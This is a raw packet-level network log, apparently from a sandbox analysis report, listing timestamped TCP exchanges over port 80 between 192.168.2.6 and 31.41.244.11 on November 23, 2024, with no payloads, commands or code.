Nov 23, 2024 13:28:16.133193016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.133287907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.133344889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.133392096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.134218931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.134279013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.134413958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.134470940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.135263920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.135332108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.135400057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.135457993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.136231899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.136291981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.136367083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.136466026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.137212992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.137257099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.137388945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.137541056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138006926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138021946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138039112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138056040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138056993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138087034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138087034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138156891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138550043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138571024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.138611078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.138611078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.139543056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.139647961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.139664888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.139740944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.140466928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.140563011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.140625954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.140789032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.141489983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.141542912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.141588926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.141637087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.142430067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.142544031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.142544985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.142604113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.143435001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.143507004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.143552065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.143620014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.144443989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.144539118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.144584894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.144670010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.145433903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.145507097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.145528078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.145571947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.146399021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.146472931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.146511078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.146609068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.147360086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.147445917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.147449970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.147531986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.148328066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.148394108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.148441076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.148526907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.149456978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.149533033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.149574995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.149574995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.150410891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.150458097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.150465965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.150515079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.151293039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.151345968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.151401043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.151532888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.152682066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.152800083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.152901888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.152964115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.153743029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.153805017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.153809071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.153929949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.154428005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.154542923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.154550076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.154654026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.155247927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.155318975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.155325890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.155375004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.156209946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.156352043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.156357050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.156411886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.157202005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.157263041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.157304049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.157430887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.158354998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.158422947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.158464909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.158464909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.159102917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.159220934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.309063911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.309176922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.309196949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.309250116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.309523106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.309597015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.309636116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.309792042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.310492992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.310585022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.310586929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.310635090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.311495066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.311594009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.311599970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.311680079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.312541008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.312612057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.312690973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.312751055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.313678026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.313750982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.313796997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.313858032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.314414024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.314464092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.314513922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.314568996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.315399885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.315462112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.315514088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.315514088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.316384077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.316464901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.316524982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.316615105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.317356110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.317462921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.317485094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.317534924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.318341970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.318449974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.318474054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.318495035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.319390059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.319473982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.319623947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.320302963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.320358992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.320406914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.320491076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.321294069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.321340084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.321419001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.321482897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.322266102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.322333097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.322371960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.322482109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.323273897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.323331118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.323415041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.323474884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.324244022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.324354887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.324361086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.324409962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.325215101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.325295925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.325326920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.325376987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.326209068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.326280117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.326318026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.326380014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.327213049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.327291012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.327358961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.327455997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.328236103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.328290939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.328295946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.328339100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.329327106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.329386950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.329438925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.329499960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.330116034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.330178022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.330188990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.330272913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.331216097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.331289053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.331331968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.331377983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.332120895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.332163095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.332235098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.332287073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.333107948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.333204985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.333249092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.333249092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.334109068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.334172010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.334194899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.334211111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.335053921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.335104942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.335180998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.335278034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.336025000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.336128950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.336137056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.336225033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.337025881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.337085962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.337136030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.337177992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.338105917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.338186979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.338216066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.338459969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.339035988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.339091063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.339129925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.339194059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.339978933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.340087891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.340095997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.340217113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.340964079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.341018915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.341070890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.341123104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.341952085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.341999054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.342067957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.342133045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.342978001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.343038082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.343158960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.343214989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.343946934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.344043016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.344058990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.344136000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.344949007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.345020056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.345082998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.345132113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.345884085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.345936060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.345983028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.346029043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.346882105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.346925974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.346992970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.347038031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.347873926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.347971916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.348007917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.348105907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.348824978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.348876953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.348942041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.349000931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.349805117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.349864006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.349942923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.349992037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.350780964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.350831985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.350895882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.350950956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.351859093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.351943970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.351953030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.352071047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.352751017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.352817059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.352886915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.352931023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.353734970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.353802919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.353848934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.353924036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.354746103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.354801893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.354866028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.355000019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.355688095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.355825901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.355850935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.355885983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.356692076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.356759071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.356796980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.356837988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.357698917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.357750893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.357842922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.357892036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.358664989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.358715057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.358783960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.358865976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.359656096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.359698057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.359782934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.359843969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.360663891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.360730886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.512741089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.512790918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.512844086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.512871027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.513142109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.513307095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.513362885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.513411999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.513467073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.513624907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.514342070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.514422894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.514437914 CET	49729	80	192.168.2.6	31.41.244.11
